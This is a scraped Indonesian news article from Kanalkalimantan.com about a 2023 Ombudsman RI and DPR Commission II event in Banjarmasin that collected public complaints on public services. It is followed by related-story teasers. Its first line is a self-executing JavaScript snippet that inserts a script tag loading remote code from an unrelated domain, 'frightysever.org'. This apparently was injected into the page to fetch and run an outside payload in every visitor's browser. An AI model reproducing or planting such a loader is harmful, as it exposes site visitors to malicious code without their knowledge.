(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kolaborasi Ombudsman RI dan Komisi II DPR RI dalam rangka meningkatkan akses masyarakat dan menjaring keluhan pengaduan dilaksanakan di Hotel Jelita Banjarmasin, Kamis (20/7/2023).
Kegiatan ini berlangsung dinamis dan proaktif dengan diikuti oleh 100 peserta diskusi dari berbagai lapisan masyarakat dari tokoh masyarakat, tokoh agama, tokoh pemuda, perwakilan media, perwakilan perempuan, pedagang, dan lembaga swadaya masyarakat.
Salah satu peserta kegiatan Arif menyatakan, kegiatan ini sangat bagus karena langsung direspon oleh Ombudsman dan DPR atas keluhan dan konsultasi yang disampaikan.
Bahkan menurutnya, kegiatan seperti ini harusnya rutin dilakukan, mengingat warga perlu didengar keluhannya dan direspon dalam penyelesaiannya.
Baca juga: Damkar Banjarbaru Luncurkan Armada Baru, Diklaim Lebih Canggih
“Harusnya kegiatan seperti ini lebih sering dilakukan agar masyarakat dapat langsung menyampaikan keluhan,” kata Arif.
Kepala Perwakilan Ombudsman RI Provinsi Kalsel Hadi Rahman mengatakan, tujuan dari dibukanya akses pelayanan publik bukan semata-mata mendekatkan pelayanan Ombudsman dan menjangkau keluhan masyarakat. Tetapi juga mensosialisasikan keberadaan Ombudsman RI di tengah warga Kota Banjarmasin.
Hadi Rahman menerangkan, kolaborasi antara Ombudsman RI dan Komisi II DPR RI menjadi hal yang penting memaksimalkan fungsi pengawasan sebagaimana UU No 37 Tahun 2008 tentang Ombudsman RI dan UU No 25 tahun 2009 tentang pelayanan publik. Dimana dua lembaga ini berperan mengawal kualitas pelayanan publik negara.
Baca juga: Petani Daha Utara HSS Deklarasikan Gus Imin Presiden 2024
“Kegiatan ini sudah lama ditunggu masyarakat dan menjadi kesempatan penting untuk menyampaikan pengaduan atas layanan publik kota. Apalagi banyak keluhan yang disampaikan oleh warga seperti infrastruktur, bantuan sosial, dan pelayanan dasar lainnya, akan kami tindaklanjuti di perwakilan,” ujar Hadi.
Sementara itu, Anggota Ombudsman RI Hery Susanto mengungkapkan, sebagai lembaga negara, penting bagi Ombudsman “dikenal” oleh publik. Selain itu ORI yang merupakan lembaga independen belum banyak dipahami fungsinya. Maka dari itu, dengan kolaborasi bersama DPR RI akan semakin menjamin kehadiran negara.
Hery menegaskan, peran Ombudsman RI dalam upaya perbaikan kualitas penyelenggaraan pelayanan publik, perlu didukung dengan manajemen kelembagaan dan anggaran yang memadai, bagi kantor pusat dan kantor perwakilan di 34 Provinsi di Indonesia.
Hery Susanto berharap, perubahan atas Undang-Undang Ombudsman yang sedang dibahas di DPR RI bisa menambah efektivitas lembaga serta menguatkan fungsi Ombudsman sebagai lembaga yang aktif mencegah maladministrasi dan mempercepat penyelesaian laporan pelayanan publik.
Baca juga: 12 Tersangka Perdagangan Ginjal Internasional Ditangkap, Ada Polisi dan Pegawai Imigrasi
“Kegiatan ini adalah komitmen Ombudsman dan DPR untuk hadir dan merespon serta menindaklanjuti keluhan publik,” tambah Hery.
Sementara itu Anggota Komisi II DPR RI Aida Muslimah mengatakan sebagai unsur penting dalam reformasi birokrasi di Indonesia, tantangan Ombudsman kedepan lebih dikenal dan dipahami fungsi dan tugasnya.
Aida mengatakan, gagasan pembentukan lembaga Ombudsman sebagai respon terhadap tuntutan rakyat yang tertuang dalam Agenda Reformasi Tahun 1998, yaitu untuk melindungi hak-hak warga negara (Pasal 1 dan 2 Keppres No. 44/2000) dan pencegahan korupsi (TAP MPR No. VIII/MPR/2003).
“Kegiatan ini supaya memudahkan masyarakat melapor atau konsultasi terkait pelayanan publik,” tegas Aida.
Baca juga: Membengkak 2,3 Juta Orang, Menteri PAN RB Bakal Audit Data Tenaga Honorer
Anggota DPR RI asal Kalsel ini berharap melalui akses ini masyarakat dapat dibantu dalam mendapatkan pelayanan publik yang baik dan sesuai prosedur pelayanan publik.
Dari kegiatan ini Ombudsman dapat menjaring 93 konsultasi masyarakat dan akan ditindaklanjuti sebagaimana substansi laporan atau keluhan yang disampaikan. Selain itu, dibuka posko pengaduan yang dihadiri oleh Tenaga Ahli DPR RI, Staf Sekretariat Jenderal Ombudsman RI, dan Unit Keasistenan Penerimaan dan Verifikasi Laporan Ombudsman Kalimantan Selatan. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.